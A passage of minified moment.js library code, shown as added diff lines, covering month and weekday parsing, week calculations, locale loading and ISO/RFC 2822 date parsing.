28 : 31 - i % 7 % 2 + } + le("M", ["MM", 2], "Mo", function () { + return this.month() + 1 + }); + le("MMM", 0, 0, function (e) { + return this.localeData().monthsShort(this, e) + }); + le("MMMM", 0, 0, function (e) { + return this.localeData().months(this, e) + }); + K("month", "M"); + te("month", 8); + Ce("M", ge); + Ce("MM", ge, me); + Ce("MMM", function (e, t) { + return t.monthsShortRegex(e) + }); + Ce("MMMM", function (e, t) { + return t.monthsRegex(e) + }); + He(["M", "MM"], function (e, t) { + t[Re] = S(e) - 1 + }); + He(["MMM", "MMMM"], function (e, t, i, n) { + var r = i._locale.monthsParse(e, n, i._strict); + if (r != null) { + t[Re] = r + } else { + _(i).invalidMonth = e + } + }); + var st = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/; + var ot = "January_February_March_April_May_June_July_August_September_October_November_December".split("_"); + + function lt(e, t) { + if (!e) { + return s(this._months) ? this._months : this._months["standalone"] + } + return s(this._months) ? this._months[e.month()] : this._months[(this._months.isFormat || st).test(t) ? "format" : "standalone"][e.month()] + } + var ut = "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"); + + function dt(e, t) { + if (!e) { + return s(this._monthsShort) ? this._monthsShort : this._monthsShort["standalone"] + } + return s(this._monthsShort) ? this._monthsShort[e.month()] : this._monthsShort[st.test(t) ? "format" : "standalone"][e.month()] + } + + function ft(e, t, i) { + var n, r, a, s = e.toLocaleLowerCase(); + if (!this._monthsParse) { + this._monthsParse = []; + this._longMonthsParse = []; + this._shortMonthsParse = []; + for (n = 0; n < 12; ++n) { + a = p([2e3, n]); + this._shortMonthsParse[n] = this.monthsShort(a, "").toLocaleLowerCase(); + this._longMonthsParse[n] = this.months(a, "").toLocaleLowerCase() + } + } + if (i) { + if (t === "MMM") { + r = rt.call(this._shortMonthsParse, s); + return r !== -1 ? r : null + } else { + r = rt.call(this._longMonthsParse, s); + return r !== -1 ? r : null + } + } else { + if (t === "MMM") { + r = rt.call(this._shortMonthsParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._longMonthsParse, s); + return r !== -1 ? r : null + } else { + r = rt.call(this._longMonthsParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._shortMonthsParse, s); + return r !== -1 ? r : null + } + } + } + + function ct(e, t, i) { + var n, r, a; + if (this._monthsParseExact) { + return ft.call(this, e, t, i) + } + if (!this._monthsParse) { + this._monthsParse = []; + this._longMonthsParse = []; + this._shortMonthsParse = [] + } + for (n = 0; n < 12; n++) { + r = p([2e3, n]); + if (i && !this._longMonthsParse[n]) { + this._longMonthsParse[n] = new RegExp("^" + this.months(r, "").replace(".", "") + "$", "i"); + this._shortMonthsParse[n] = new RegExp("^" + this.monthsShort(r, "").replace(".", "") + "$", "i") + } + if (!i && !this._monthsParse[n]) { + a = "^" + this.months(r, "") + "|^" + this.monthsShort(r, ""); + this._monthsParse[n] = new RegExp(a.replace(".", ""), "i") + } + if (i && t === "MMMM" && this._longMonthsParse[n].test(e)) { + return n + } else if (i && t === "MMM" && this._shortMonthsParse[n].test(e)) { + return n + } else if (!i && this._monthsParse[n].test(e)) { + return n + } + } + } + + function ht(e, t) { + var i; + if (!e.isValid()) { + return e + } + if (typeof t === "string") { + if (/^\d+$/.test(t)) { + t = S(t) + } else { + t = e.localeData().monthsParse(t); + if (!d(t)) { + return e + } + } + } + i = Math.min(e.date(), at(e.year(), t)); + e._d["set" + (e._isUTC ? "UTC" : "") + "Month"](t, i); + return e + } + + function mt(e) { + if (e != null) { + ht(this, e); + r.updateOffset(this, true); + return this + } else { + return Ze(this, "Month") + } + } + + function pt() { + return at(this.year(), this.month()) + } + var vt = De; + + function _t(e) { + if (this._monthsParseExact) { + if (!h(this, "_monthsRegex")) { + bt.call(this) + } + if (e) { + return this._monthsShortStrictRegex + } else { + return this._monthsShortRegex + } + } else { + if (!h(this, "_monthsShortRegex")) { + this._monthsShortRegex = vt + } + return this._monthsShortStrictRegex && e ? this._monthsShortStrictRegex : this._monthsShortRegex + } + } + var gt = De; + + function yt(e) { + if (this._monthsParseExact) { + if (!h(this, "_monthsRegex")) { + bt.call(this) + } + if (e) { + return this._monthsStrictRegex + } else { + return this._monthsRegex + } + } else { + if (!h(this, "_monthsRegex")) { + this._monthsRegex = gt + } + return this._monthsStrictRegex && e ? this._monthsStrictRegex : this._monthsRegex + } + } + + function bt() { + function e(e, t) { + return t.length - e.length + } + var t = [], + i = [], + n = [], + r, a; + for (r = 0; r < 12; r++) { + a = p([2e3, r]); + t.push(this.monthsShort(a, "")); + i.push(this.months(a, "")); + n.push(this.months(a, "")); + n.push(this.monthsShort(a, "")) + } + t.sort(e); + i.sort(e); + n.sort(e); + for (r = 0; r < 12; r++) { + t[r] = Oe(t[r]); + i[r] = Oe(i[r]) + } + for (r = 0; r < 24; r++) { + n[r] = Oe(n[r]) + } + this._monthsRegex = new RegExp("^(" + n.join("|") + ")", "i"); + this._monthsShortRegex = this._monthsRegex; + this._monthsStrictRegex = new RegExp("^(" + i.join("|") + ")", "i"); + this._monthsShortStrictRegex = new RegExp("^(" + t.join("|") + ")", "i") + } + + function wt(e, t, i, n, r, a, s) { + var o; + if (e < 100 && e >= 0) { + o = new Date(e + 400, t, i, n, r, a, s); + if (isFinite(o.getFullYear())) { + o.setFullYear(e) + } + } else { + o = new Date(e, t, i, n, r, a, s) + } + return o + } + + function Mt(e) { + var t; + if (e < 100 && e >= 0) { + var i = Array.prototype.slice.call(arguments); + i[0] = e + 400; + t = new Date(Date.UTC.apply(null, i)); + if (isFinite(t.getUTCFullYear())) { + t.setUTCFullYear(e) + } + } else { + t = new Date(Date.UTC.apply(null, arguments)) + } + return t + } + + function kt(e, t, i) { + var n = 7 + t - i, + r = (7 + Mt(e, 0, n).getUTCDay() - t) % 7; + return -r + n - 1 + } + + function Lt(e, t, i, n, r) { + var a = (7 + i - n) % 7, + s = kt(e, n, r), + o = 1 + 7 * (t - 1) + a + s, + l, u; + if (o <= 0) { + l = e - 1; + u = Ue(l) + o + } else if (o > Ue(e)) { + l = e + 1; + u = o - Ue(e) + } else { + l = e; + u = o + } + return { + year: l, + dayOfYear: u + } + } + + function Tt(e, t, i) { + var n = kt(e.year(), t, i), + r = Math.floor((e.dayOfYear() - n - 1) / 7) + 1, + a, s; + if (r < 1) { + s = e.year() - 1; + a = r + xt(s, t, i) + } else if (r > xt(e.year(), t, i)) { + a = r - xt(e.year(), t, i); + s = e.year() + 1 + } else { + s = e.year(); + a = r + } + return { + week: a, + year: s + } + } + + function xt(e, t, i) { + var n = kt(e, t, i), + r = kt(e + 1, t, i); + return (Ue(e) - n + r) / 7 + } + le("w", ["ww", 2], "wo", "week"); + le("W", ["WW", 2], "Wo", "isoWeek"); + K("week", "w"); + K("isoWeek", "W"); + te("week", 5); + te("isoWeek", 5); + Ce("w", ge); + Ce("ww", ge, me); + Ce("W", ge); + Ce("WW", ge, me); + Ie(["w", "ww", "W", "WW"], function (e, t, i, n) { + t[n.substr(0, 1)] = S(e) + }); + + function St(e) { + return Tt(e, this._week.dow, this._week.doy).week + } + var Yt = { + dow: 0, + doy: 6 + }; + + function Dt() { + return this._week.dow + } + + function Et() { + return this._week.doy + } + + function Ct(e) { + var t = this.localeData().week(this); + return e == null ? t : this.add((e - t) * 7, "d") + } + + function Pt(e) { + var t = Tt(this, 1, 4).week; + return e == null ? t : this.add((e - t) * 7, "d") + } + le("d", 0, "do", "day"); + le("dd", 0, 0, function (e) { + return this.localeData().weekdaysMin(this, e) + }); + le("ddd", 0, 0, function (e) { + return this.localeData().weekdaysShort(this, e) + }); + le("dddd", 0, 0, function (e) { + return this.localeData().weekdays(this, e) + }); + le("e", 0, 0, "weekday"); + le("E", 0, 0, "isoWeekday"); + K("day", "d"); + K("weekday", "e"); + K("isoWeekday", "E"); + te("day", 11); + te("weekday", 11); + te("isoWeekday", 11); + Ce("d", ge); + Ce("e", ge); + Ce("E", ge); + Ce("dd", function (e, t) { + return t.weekdaysMinRegex(e) + }); + Ce("ddd", function (e, t) { + return t.weekdaysShortRegex(e) + }); + Ce("dddd", function (e, t) { + return t.weekdaysRegex(e) + }); + Ie(["dd", "ddd", "dddd"], function (e, t, i, n) { + var r = i._locale.weekdaysParse(e, n, i._strict); + if (r != null) { + t.d = r + } else { + _(i).invalidWeekday = e + } + }); + Ie(["d", "e", "E"], function (e, t, i, n) { + t[n] = S(e) + }); + + function At(e, t) { + if (typeof e !== "string") { + return e + } + if (!isNaN(e)) { + return parseInt(e, 10) + } + e = t.weekdaysParse(e); + if (typeof e === "number") { + return e + } + return null + } + + function Ot(e, t) { + if (typeof e === "string") { + return t.weekdaysParse(e) % 7 || 7 + } + return isNaN(e) ? null : e + } + + function jt(e, t) { + return e.slice(t, 7).concat(e.slice(0, t)) + } + var Ht = "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"); + + function It(e, t) { + var i = s(this._weekdays) ? this._weekdays : this._weekdays[e && e !== true && this._weekdays.isFormat.test(t) ? "format" : "standalone"]; + return e === true ? jt(i, this._week.dow) : e ? i[e.day()] : i + } + var Ft = "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"); + + function zt(e) { + return e === true ? jt(this._weekdaysShort, this._week.dow) : e ? this._weekdaysShort[e.day()] : this._weekdaysShort + } + var Rt = "Su_Mo_Tu_We_Th_Fr_Sa".split("_"); + + function Nt(e) { + return e === true ? jt(this._weekdaysMin, this._week.dow) : e ? this._weekdaysMin[e.day()] : this._weekdaysMin + } + + function Wt(e, t, i) { + var n, r, a, s = e.toLocaleLowerCase(); + if (!this._weekdaysParse) { + this._weekdaysParse = []; + this._shortWeekdaysParse = []; + this._minWeekdaysParse = []; + for (n = 0; n < 7; ++n) { + a = p([2e3, 1]).day(n); + this._minWeekdaysParse[n] = this.weekdaysMin(a, "").toLocaleLowerCase(); + this._shortWeekdaysParse[n] = this.weekdaysShort(a, "").toLocaleLowerCase(); + this._weekdaysParse[n] = this.weekdays(a, "").toLocaleLowerCase() + } + } + if (i) { + if (t === "dddd") { + r = rt.call(this._weekdaysParse, s); + return r !== -1 ? r : null + } else if (t === "ddd") { + r = rt.call(this._shortWeekdaysParse, s); + return r !== -1 ? r : null + } else { + r = rt.call(this._minWeekdaysParse, s); + return r !== -1 ? r : null + } + } else { + if (t === "dddd") { + r = rt.call(this._weekdaysParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._shortWeekdaysParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._minWeekdaysParse, s); + return r !== -1 ? r : null + } else if (t === "ddd") { + r = rt.call(this._shortWeekdaysParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._weekdaysParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._minWeekdaysParse, s); + return r !== -1 ? r : null + } else { + r = rt.call(this._minWeekdaysParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._weekdaysParse, s); + if (r !== -1) { + return r + } + r = rt.call(this._shortWeekdaysParse, s); + return r !== -1 ? r : null + } + } + } + + function Bt(e, t, i) { + var n, r, a; + if (this._weekdaysParseExact) { + return Wt.call(this, e, t, i) + } + if (!this._weekdaysParse) { + this._weekdaysParse = []; + this._minWeekdaysParse = []; + this._shortWeekdaysParse = []; + this._fullWeekdaysParse = [] + } + for (n = 0; n < 7; n++) { + r = p([2e3, 1]).day(n); + if (i && !this._fullWeekdaysParse[n]) { + this._fullWeekdaysParse[n] = new RegExp("^" + this.weekdays(r, "").replace(".", "\\.?") + "$", "i"); + this._shortWeekdaysParse[n] = new RegExp("^" + this.weekdaysShort(r, "").replace(".", "\\.?") + "$", "i"); + this._minWeekdaysParse[n] = new RegExp("^" + this.weekdaysMin(r, "").replace(".", "\\.?") + "$", "i") + } + if (!this._weekdaysParse[n]) { + a = "^" + this.weekdays(r, "") + "|^" + this.weekdaysShort(r, "") + "|^" + this.weekdaysMin(r, ""); + this._weekdaysParse[n] = new RegExp(a.replace(".", ""), "i") + } + if (i && t === "dddd" && this._fullWeekdaysParse[n].test(e)) { + return n + } else if (i && t === "ddd" && this._shortWeekdaysParse[n].test(e)) { + return n + } else if (i && t === "dd" && this._minWeekdaysParse[n].test(e)) { + return n + } else if (!i && this._weekdaysParse[n].test(e)) { + return n + } + } + } + + function qt(e) { + if (!this.isValid()) { + return e != null ? this : NaN + } + var t = this._isUTC ? this._d.getUTCDay() : this._d.getDay(); + if (e != null) { + e = At(e, this.localeData()); + return this.add(e - t, "d") + } else { + return t + } + } + + function $t(e) { + if (!this.isValid()) { + return e != null ? this : NaN + } + var t = (this.day() + 7 - this.localeData()._week.dow) % 7; + return e == null ? t : this.add(e - t, "d") + } + + function Vt(e) { + if (!this.isValid()) { + return e != null ? this : NaN + } + if (e != null) { + var t = Ot(e, this.localeData()); + return this.day(this.day() % 7 ? t : t - 7) + } else { + return this.day() || 7 + } + } + var Gt = De; + + function Ut(e) { + if (this._weekdaysParseExact) { + if (!h(this, "_weekdaysRegex")) { + Zt.call(this) + } + if (e) { + return this._weekdaysStrictRegex + } else { + return this._weekdaysRegex + } + } else { + if (!h(this, "_weekdaysRegex")) { + this._weekdaysRegex = Gt + } + return this._weekdaysStrictRegex && e ? this._weekdaysStrictRegex : this._weekdaysRegex + } + } + var Xt = De; + + function Jt(e) { + if (this._weekdaysParseExact) { + if (!h(this, "_weekdaysRegex")) { + Zt.call(this) + } + if (e) { + return this._weekdaysShortStrictRegex + } else { + return this._weekdaysShortRegex + } + } else { + if (!h(this, "_weekdaysShortRegex")) { + this._weekdaysShortRegex = Xt + } + return this._weekdaysShortStrictRegex && e ? this._weekdaysShortStrictRegex : this._weekdaysShortRegex + } + } + var Kt = De; + + function Qt(e) { + if (this._weekdaysParseExact) { + if (!h(this, "_weekdaysRegex")) { + Zt.call(this) + } + if (e) { + return this._weekdaysMinStrictRegex + } else { + return this._weekdaysMinRegex + } + } else { + if (!h(this, "_weekdaysMinRegex")) { + this._weekdaysMinRegex = Kt + } + return this._weekdaysMinStrictRegex && e ? this._weekdaysMinStrictRegex : this._weekdaysMinRegex + } + } + + function Zt() { + function e(e, t) { + return t.length - e.length + } + var t = [], + i = [], + n = [], + r = [], + a, s, o, l, u; + for (a = 0; a < 7; a++) { + s = p([2e3, 1]).day(a); + o = this.weekdaysMin(s, ""); + l = this.weekdaysShort(s, ""); + u = this.weekdays(s, ""); + t.push(o); + i.push(l); + n.push(u); + r.push(o); + r.push(l); + r.push(u) + } + t.sort(e); + i.sort(e); + n.sort(e); + r.sort(e); + for (a = 0; a < 7; a++) { + i[a] = Oe(i[a]); + n[a] = Oe(n[a]); + r[a] = Oe(r[a]) + } + this._weekdaysRegex = new RegExp("^(" + r.join("|") + ")", "i"); + this._weekdaysShortRegex = this._weekdaysRegex; + this._weekdaysMinRegex = this._weekdaysRegex; + this._weekdaysStrictRegex = new RegExp("^(" + n.join("|") + ")", "i"); + this._weekdaysShortStrictRegex = new RegExp("^(" + i.join("|") + ")", "i"); + this._weekdaysMinStrictRegex = new RegExp("^(" + t.join("|") + ")", "i") + } + + function ei() { + return this.hours() % 12 || 12 + } + + function ti() { + return this.hours() || 24 + } + le("H", ["HH", 2], 0, "hour"); + le("h", ["hh", 2], 0, ei); + le("k", ["kk", 2], 0, ti); + le("hmm", 0, 0, function () { + return "" + ei.apply(this) + ne(this.minutes(), 2) + }); + le("hmmss", 0, 0, function () { + return "" + ei.apply(this) + ne(this.minutes(), 2) + ne(this.seconds(), 2) + }); + le("Hmm", 0, 0, function () { + return "" + this.hours() + ne(this.minutes(), 2) + }); + le("Hmmss", 0, 0, function () { + return "" + this.hours() + ne(this.minutes(), 2) + ne(this.seconds(), 2) + }); + + function ii(e, t) { + le(e, 0, 0, function () { + return this.localeData().meridiem(this.hours(), this.minutes(), t) + }) + } + ii("a", true); + ii("A", false); + K("hour", "h"); + te("hour", 13); + + function ni(e, t) { + return t._meridiemParse + } + Ce("a", ni); + Ce("A", ni); + Ce("H", ge); + Ce("h", ge); + Ce("k", ge); + Ce("HH", ge, me); + Ce("hh", ge, me); + Ce("kk", ge, me); + Ce("hmm", ye); + Ce("hmmss", be); + Ce("Hmm", ye); + Ce("Hmmss", be); + He(["H", "HH"], We); + He(["k", "kk"], function (e, t, i) { + var n = S(e); + t[We] = n === 24 ? 0 : n + }); + He(["a", "A"], function (e, t, i) { + i._isPm = i._locale.isPM(e); + i._meridiem = e + }); + He(["h", "hh"], function (e, t, i) { + t[We] = S(e); + _(i).bigHour = true + }); + He("hmm", function (e, t, i) { + var n = e.length - 2; + t[We] = S(e.substr(0, n)); + t[Be] = S(e.substr(n)); + _(i).bigHour = true + }); + He("hmmss", function (e, t, i) { + var n = e.length - 4; + var r = e.length - 2; + t[We] = S(e.substr(0, n)); + t[Be] = S(e.substr(n, 2)); + t[qe] = S(e.substr(r)); + _(i).bigHour = true + }); + He("Hmm", function (e, t, i) { + var n = e.length - 2; + t[We] = S(e.substr(0, n)); + t[Be] = S(e.substr(n)) + }); + He("Hmmss", function (e, t, i) { + var n = e.length - 4; + var r = e.length - 2; + t[We] = S(e.substr(0, n)); + t[Be] = S(e.substr(n, 2)); + t[qe] = S(e.substr(r)) + }); + + function ri(e) { + return (e + "").toLowerCase().charAt(0) === "p" + } + var ai = /[ap]\.?m?\.?/i; + + function si(e, t, i) { + if (e > 11) { + return i ? "pm" : "PM" + } else { + return i ? "am" : "AM" + } + } + var oi = Qe("Hours", true); + var li = { + calendar: F, + longDateFormat: R, + invalidDate: W, + ordinal: q, + dayOfMonthOrdinalParse: $, + relativeTime: G, + months: ot, + monthsShort: ut, + week: Yt, + weekdays: Ht, + weekdaysMin: Rt, + weekdaysShort: Ft, + meridiemParse: ai + }; + var ui = {}; + var di = {}; + var fi; + + function ci(e) { + return e ? e.toLowerCase().replace("_", "-") : e + } + + function hi(e) { + var t = 0, + i, n, r, a; + while (t < e.length) { + a = ci(e[t]).split("-"); + i = a.length; + n = ci(e[t + 1]); + n = n ? n.split("-") : null; + while (i > 0) { + r = mi(a.slice(0, i).join("-")); + if (r) { + return r + } + if (n && n.length >= i && Y(a, n, true) >= i - 1) { + break + } + i-- + } + t++ + } + return fi + } + + function mi(n) { + var r = null; + if (!ui[n] && typeof e !== "undefined" && e && e.exports) { + try { + r = fi._abbr; + var a = t; + i(151)("./" + n); + pi(r) + } catch (e) {} + } + return ui[n] + } + + function pi(e, t) { + var i; + if (e) { + if (u(t)) { + i = gi(e) + } else { + i = vi(e, t) + } + if (i) { + fi = i + } else { + if (typeof console !== "undefined" && console.warn) { + console.warn("Locale " + e + " not found. Did you forget to load it?") + } + } + } + return fi._abbr + } + + function vi(e, t) { + if (t !== null) { + var i, n = li; + t.abbr = e; + if (ui[e] != null) { + P("defineLocaleOverride", "use moment.updateLocale(localeName, config) to change " + "an existing locale. moment.defineLocale(localeName, " + "config) should only be used for creating a new locale " + "See http://momentjs.com/guides/#/warnings/define-locale/ for more info."); + n = ui[e]._config + } else if (t.parentLocale != null) { + if (ui[t.parentLocale] != null) { + n = ui[t.parentLocale]._config + } else { + i = mi(t.parentLocale); + if (i != null) { + n = i._config + } else { + if (!di[t.parentLocale]) { + di[t.parentLocale] = [] + } + di[t.parentLocale].push({ + name: e, + config: t + }); + return null + } + } + } + ui[e] = new H(j(n, t)); + if (di[e]) { + di[e].forEach(function (e) { + vi(e.name, e.config) + }) + } + pi(e); + return ui[e] + } else { + delete ui[e]; + return null + } + } + + function _i(e, t) { + if (t != null) { + var i, n, r = li; + n = mi(e); + if (n != null) { + r = n._config + } + t = j(r, t); + i = new H(t); + i.parentLocale = ui[e]; + ui[e] = i; + pi(e) + } else { + if (ui[e] != null) { + if (ui[e].parentLocale != null) { + ui[e] = ui[e].parentLocale + } else if (ui[e] != null) { + delete ui[e] + } + } + } + return ui[e] + } + + function gi(e) { + var t; + if (e && e._locale && e._locale._abbr) { + e = e._locale._abbr + } + if (!e) { + return fi + } + if (!s(e)) { + t = mi(e); + if (t) { + return t + } + e = [e] + } + return hi(e) + } + + function yi() { + return I(ui) + } + + function bi(e) { + var t; + var i = e._a; + if (i && _(e).overflow === -2) { + t = i[Re] < 0 || i[Re] > 11 ? Re : i[Ne] < 1 || i[Ne] > at(i[ze], i[Re]) ? Ne : i[We] < 0 || i[We] > 24 || i[We] === 24 && (i[Be] !== 0 || i[qe] !== 0 || i[$e] !== 0) ? We : i[Be] < 0 || i[Be] > 59 ? Be : i[qe] < 0 || i[qe] > 59 ? qe : i[$e] < 0 || i[$e] > 999 ? $e : -1; + if (_(e)._overflowDayOfYear && (t < ze || t > Ne)) { + t = Ne + } + if (_(e)._overflowWeeks && t === -1) { + t = Ve + } + if (_(e)._overflowWeekday && t === -1) { + t = Ge + } + _(e).overflow = t + } + return e + } + + function wi(e, t, i) { + if (e != null) { + return e + } + if (t != null) { + return t + } + return i + } + + function Mi(e) { + var t = new Date(r.now()); + if (e._useUTC) { + return [t.getUTCFullYear(), t.getUTCMonth(), t.getUTCDate()] + } + return [t.getFullYear(), t.getMonth(), t.getDate()] + } + + function ki(e) { + var t, i, n = [], + r, a, s; + if (e._d) { + return + } + r = Mi(e); + if (e._w && e._a[Ne] == null && e._a[Re] == null) { + Li(e) + } + if (e._dayOfYear != null) { + s = wi(e._a[ze], r[ze]); + if (e._dayOfYear > Ue(s) || e._dayOfYear === 0) { + _(e)._overflowDayOfYear = true + } + i = Mt(s, 0, e._dayOfYear); + e._a[Re] = i.getUTCMonth(); + e._a[Ne] = i.getUTCDate() + } + for (t = 0; t < 3 && e._a[t] == null; ++t) { + e._a[t] = n[t] = r[t] + } + for (; t < 7; t++) { + e._a[t] = n[t] = e._a[t] == null ? t === 2 ? 1 : 0 : e._a[t] + } + if (e._a[We] === 24 && e._a[Be] === 0 && e._a[qe] === 0 && e._a[$e] === 0) { + e._nextDay = true; + e._a[We] = 0 + } + e._d = (e._useUTC ? Mt : wt).apply(null, n); + a = e._useUTC ? e._d.getUTCDay() : e._d.getDay(); + if (e._tzm != null) { + e._d.setUTCMinutes(e._d.getUTCMinutes() - e._tzm) + } + if (e._nextDay) { + e._a[We] = 24 + } + if (e._w && typeof e._w.d !== "undefined" && e._w.d !== a) { + _(e).weekdayMismatch = true + } + } + + function Li(e) { + var t, i, n, r, a, s, o, l; + t = e._w; + if (t.GG != null || t.W != null || t.E != null) { + a = 1; + s = 4; + i = wi(t.GG, e._a[ze], Tt(Xi(), 1, 4).year); + n = wi(t.W, 1); + r = wi(t.E, 1); + if (r < 1 || r > 7) { + l = true + } + } else { + a = e._locale._week.dow; + s = e._locale._week.doy; + var u = Tt(Xi(), a, s); + i = wi(t.gg, e._a[ze], u.year); + n = wi(t.w, u.week); + if (t.d != null) { + r = t.d; + if (r < 0 || r > 6) { + l = true + } + } else if (t.e != null) { + r = t.e + a; + if (t.e < 0 || t.e > 6) { + l = true + } + } else { + r = a + } + } + if (n < 1 || n > xt(i, a, s)) { + _(e)._overflowWeeks = true + } else if (l != null) { + _(e)._overflowWeekday = true + } else { + o = Lt(i, n, r, a, s); + e._a[ze] = o.year; + e._dayOfYear = o.dayOfYear + } + } + var Ti = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; + var xi = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; + var Si = /Z|[+-]\d\d(?::?\d\d)?/; + var Yi = [ + ["YYYYYY-MM-DD", /[+-]\d{6}-\d\d-\d\d/], + ["YYYY-MM-DD", /\d{4}-\d\d-\d\d/], + ["GGGG-[W]WW-E", /\d{4}-W\d\d-\d/], + ["GGGG-[W]WW", /\d{4}-W\d\d/, false], + ["YYYY-DDD", /\d{4}-\d{3}/], + ["YYYY-MM", /\d{4}-\d\d/, false], + ["YYYYYYMMDD", /[+-]\d{10}/], + ["YYYYMMDD", /\d{8}/], + ["GGGG[W]WWE", /\d{4}W\d{3}/], + ["GGGG[W]WW", /\d{4}W\d{2}/, false], + ["YYYYDDD", /\d{7}/] + ]; + var Di = [ + ["HH:mm:ss.SSSS", /\d\d:\d\d:\d\d\.\d+/], + ["HH:mm:ss,SSSS", /\d\d:\d\d:\d\d,\d+/], + ["HH:mm:ss", /\d\d:\d\d:\d\d/], + ["HH:mm", /\d\d:\d\d/], + ["HHmmss.SSSS", /\d\d\d\d\d\d\.\d+/], + ["HHmmss,SSSS", /\d\d\d\d\d\d,\d+/], + ["HHmmss", /\d\d\d\d\d\d/], + ["HHmm", /\d\d\d\d/], + ["HH", /\d\d/] + ]; + var Ei = /^\/?Date\((\-?\d+)/i; + + function Ci(e) { + var t, i, n = e._i, + r = Ti.exec(n) || xi.exec(n), + a, s, o, l; + if (r) { + _(e).iso = true; + for (t = 0, i = Yi.length; t < i; t++) { + if (Yi[t][1].exec(r[1])) { + s = Yi[t][0]; + a = Yi[t][2] !== false; + break + } + } + if (s == null) { + e._isValid = false; + return + } + if (r[3]) { + for (t = 0, i = Di.length; t < i; t++) { + if (Di[t][1].exec(r[3])) { + o = (r[2] || " ") + Di[t][0]; + break + } + } + if (o == null) { + e._isValid = false; + return + } + } + if (!a && o != null) { + e._isValid = false; + return + } + if (r[4]) { + if (Si.exec(r[4])) { + l = "Z" + } else { + e._isValid = false; + return + } + } + e._f = s + (o || "") + (l || ""); + Ni(e) + } else { + e._isValid = false + } + } + var Pi = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/; + + function Ai(e, t, i, n, r, a) { + var s = [Oi(e), ut.indexOf(t), parseInt(i, 10), parseInt(n, 10), parseInt(r, 10)]; + if (a) { + s.push(parseInt(a, 10)) + } + return s + } + + function Oi(e) { + var t = parseInt(e, 10); + if (t <= 49) { + return 2e3 + t + } else if (t <= 999) { + return 1900 + t + } + return t + } + + function ji(e) { + return e.replace(/\([^)]*\)|[\n\t]/g, " ").replace(/(\s\s+)/g, " ").replace(/^\s\s*/, "").replace(/\s\s*$/, "") + } + + function Hi(e, t, i) { + if (e) { + var n = Ft.indexOf(e), + r = new Date(t[0], t[1], t[2]).getDay(); + if (n !== r) { + _(i).weekdayMismatch = true; + i._isValid = false; + return false + } + } + return true + } + var Ii = { + UT: 0, + GMT: 0, + EDT: -4 * 60, + EST: -5 * 60, + CDT: -5 * 60, + CST: -6 * 60, + MDT: -6 * 60, + MST: -7 * 60, + PDT: -7 * 60, + PST: -8 * 60 + }; + + function Fi(e, t, i) { + if (e) { + return Ii[e] + } else if (t) { + return 0 + } else { + var n = parseInt(i, 10); + var r = n % 100, + a = (n - r) / 100; + return a * 60 + r + } + } + + function zi(e) { + var t = Pi.exec(ji(e._i)); + if (t) { + var i = Ai(t[4], t[3], t[2], t[5], t[6], t[7]); + if (!Hi(t[1], i, e)) { + return + } + e._a = i; + e._tzm = Fi(t[8], t[9], t[10]); + e._d = Mt.apply(null, e._a); + e._d.setUTCMinutes(e._d.getUTCMinutes() - e._tzm); + _(e).rfc2822 = true + } else { + e._isValid = false + } + } + + function Ri(e) { + var t = Ei.exec(e._i); + if (t !== null) { + e._d = new Date(+t[1]); + return + } + Ci(e); + if (e._isValid === false) { + delete e._isValid + } else { + return + } + zi(e); + if (e._isValid === false) { + delete e._isValid + } else { + return + } + r.createFromInputFallback(e) + } + r.createFromInputFallback = E("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), " + "which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are " + "discouraged and will be removed in an upcoming major release. Please refer to " + "http://momentjs.com/guides/#/warnings/js-date/ for more info.", function (e) { + e._d = new Date(e._i + (e._useUTC ? " UTC" : "")) + }); + r.ISO_8601 = function () {}; + r.RFC_2822 = function () {}; + + function Ni(e) { + if (e._f === r.ISO_8601) { + Ci(e); + return + } + if (e._f === r.RFC_2822) { + zi(e); + return + } + e._a = []; + _(e).empty = true; + var t = "" + e._i, + i, n, a, s, o, l = t.length, + u = 0; + a = ce(e._f, e._locale).match(re) || []; + for (i = 0; i < a.length; i++) { + s = a[i]; + n = (t.match(Pe(s, e)) || [])[0]; + if (n) { + o = t.substr(0, t.indexOf(n)); + if (o.length > 0) { + _(e).unusedInput.push(o) + } + t = t.slice(t.indexOf(n) + n.length); + u += n.length + } + if (oe[s]) { + if (n) { + _(e).empty = false + } else { + _(e).unusedTokens.push(s) + } + Fe(s, n, e) + } else if (e._strict && !n) { + _(e).unusedTokens.push(s) + } + } + _(e).charsLeftOver = l - u; + if (t.length > 0) { + _(e).unusedInput.push(t) + } + if (e._a[We] <= 12 && _(e).bigHour === true && e._a[We] > 0) { + _(e).bigHour = undefined + } + _(e).parsedDateParts = e._a.slice(0); + _(e).meridiem = e._meridiem; + e._a[We] = Wi(e._locale, e._a[We], e._meridiem); + ki(e); + bi(e) + } + + function Wi(e, t, i) { + var n; + if (i == null) { + return t + } + if (e.meridiemHour != null) { + return e.meridiemHour(t, i) + } else if (e.isPM != null) { + n = e.isPM(i); + if (n && t < 12) { + t += 12 + } + if (!n && t === 12) { + t = 0 + } + return t + } else { + return t + } + } + + function Bi(e) { + var t, i, n, r, a; + if (e._f.length === 0) { + _(e).invalidFormat = true; + 